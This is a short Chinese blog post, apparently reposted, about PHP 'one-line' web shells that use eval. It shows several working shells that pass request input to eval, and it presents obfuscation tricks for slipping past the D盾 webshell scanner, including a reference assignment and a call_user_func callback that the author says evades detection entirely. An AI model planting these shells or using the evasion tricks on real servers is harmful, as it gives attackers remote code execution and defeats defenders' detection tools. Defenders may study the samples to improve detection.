1. 程式人生 > >eval與php一句話的關系

eval與php一句話的關系

IV 技術 TP AR inf HP request 引用 完全

part1

首先我們知道,eval能執行php代碼,最常見的php一句話也是用eval關鍵字的。

<?php @eval($_GET["code"])?>

Part2

在T00ls論壇混的時候,有一個現象,如果有人分享免殺一句話,裏面用了 eval 這個關鍵字,很多人就會如圖

技術分享圖片

Part3

很多表哥都這樣說,主要還是因為eval這個函數,在人們心中是個危險函數,基本WAF看見秒殺那種,可事實真的是這樣嘛??!

Part4

- 必被秒殺的一句話

<?php
$a= $_REQUEST[1];
eval($a);

D盾 4級

- 我覺得還可以搶救的一句話

<?php
$a = $_REQUEST[1]; eval($b=&$a); // 將變量$a的值引用給$b,所以在這裏$a和$b是相等的。

輕松過D盾,來個圖

技術分享圖片

- 註釋一句話

技術分享圖片

這個回調函數的一句話,報了1級,如何完全過D盾呢

技術分享圖片

最後附上代碼

<?php
$a=call_user_func(function($u){return @$_REQUEST[$u];},‘1‘);
eval(/**/($a));

eval與php一句話的關系